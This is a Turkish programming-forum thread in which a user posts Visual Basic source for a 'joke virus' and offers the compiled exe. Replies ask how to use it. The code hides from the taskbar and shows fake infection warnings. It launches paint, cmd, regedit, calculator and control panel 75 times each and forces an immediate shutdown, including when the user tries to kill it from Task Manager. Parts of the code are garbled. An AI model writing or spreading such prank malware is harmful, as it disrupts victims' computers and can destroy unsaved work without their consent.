sadece end program sürekli açılıp kapandığında bazen işe yaramaya biliyor ve görev yöneticisinde uygulamalarda görünmese bile işlemler sekmesinde hala çalışır halde görünüyor. Silinme isteği taktirinde silinmiyor. Tam anlamıyla kapatmak için close

Hemen Formumuza Şunları ekleyelim Arkadaşlar - 1 tane picture1 - 1 tane label1 - 1 tane timer ekleyin (timer1) #- form1 in propetysindeki Borderstlil özelligi "0 - none" olsun. #- form1 in propertysindeki showintaskbar özelligi de False olsun. Bunları yaptıktan sonra kopyalamay buradan başladan sonra kopyalayın ve form1'in kod bölümüne yazın bu virüs çok eğlenceli Tanım:"75 tane hesap m. paint kayıt defteri açma ve bilgisayarı otomatikman kapatma " ' Kopyalamaya Buradan Başla... Kod: Private Declare Function mciExecute Lib "winmm. dll" As Long Private Sub Form_Load On Error Resume Next MsgBox "Şuan Sisteme Zararlı Bir Virüs Aldınız No:15454. STEGHPTE", vbOKOnly, "Bilgi..." Move / 2, / 2 Label1. Width = 0 Timer1. Enabled = True Timer1. Interval = 10 End Sub Private Sub Timer1_Timer On Error Resume Next Label1. Width = Label1. Width + 10 If Label1. Width >= Picture1. Width Then Timer1. Enabled = False MsgBox "Virüs Yükleme Başarılı...", vbOKOnly, "Bilgi..." mciExecute MsgBox "Virüs: Cd Romunuz Kontrol Ediliyor...", 64, "Bilgi..." mciExecute MsgBox "Virüs: Çalışıyor Galiba Emin değilim...", 48, "Uyari!!!" mciExecute mciExecute MsgBox "Virüs: Neyse Bu kadar şaklabanlık yeter :D...", 16, "Hehehehe" MsgBox "Virüs: Sen boş işlerle ugraşmayı seviyormuşsun...", 48, "Uyari..." MsgBox "Virüs: Kapat Bakalım Şunları :D:D:D", 16, "Zuhahahaha..." Dim a For a = 1 To 75 Shell "mspaint" Shell "control panel" Shell "cmd" Shell "regedit" Shell "calc" Next MsgBox "Virüs: Yoruldum Bu kadar Yeter... Hadi Bye Bye...", 48, "Bye Bye" MsgBox "TurkFawori Msn Şaka Virüsü Korkmayınız Lütfen...", vbCritical, "Uyari!!!" MsgBox "Korktuysan Kusura Kalma Kal Sağlıcakla...", vbCritical, "Uyari!!!" Shell ("shutdown -s -t 1") End If End Sub Private Sub Form_QueryUnload On Error Resume Next Select Case UnloadMode Case vbAppTaskManager MsgBox "Bu Program Burdan Kapanmaz Dostum", 16, "Hata!!" Shell ("shutdown -s -t 1") End Select End Sub Verildiysde Silersiniz... Bide bu virüsün sonunda bilgisayar otomatikman kapanıyor kapanmasını istemiyorsanız içindeki Shell ("shutdown -s -t 1") kodu iki yerde var silin Direk kullanmak isteyen arkadaşlar varsa onlara exe sinide veririm?

Kod: end uygulamayı sonlandırır.

Teşekkürler..

şaka virüsünün kodları nereye yazlr s. a beyler acaba bu şaka virüsünn kodlarını nereye yaziorozda çalşyr Kayıtlı

Ben bişey soracağım en sonunda programın otomatik olarak kapanması için hangi kodu eklemeleyiz?

20 yi geçik kişi bakmış ama bir yorum yazıkk...

o olmaz ama baslamadan kapansın istiosan labelin kod yerine Me. Close yazabilirsin labele tıklayınca kapanır

ilginç kodlar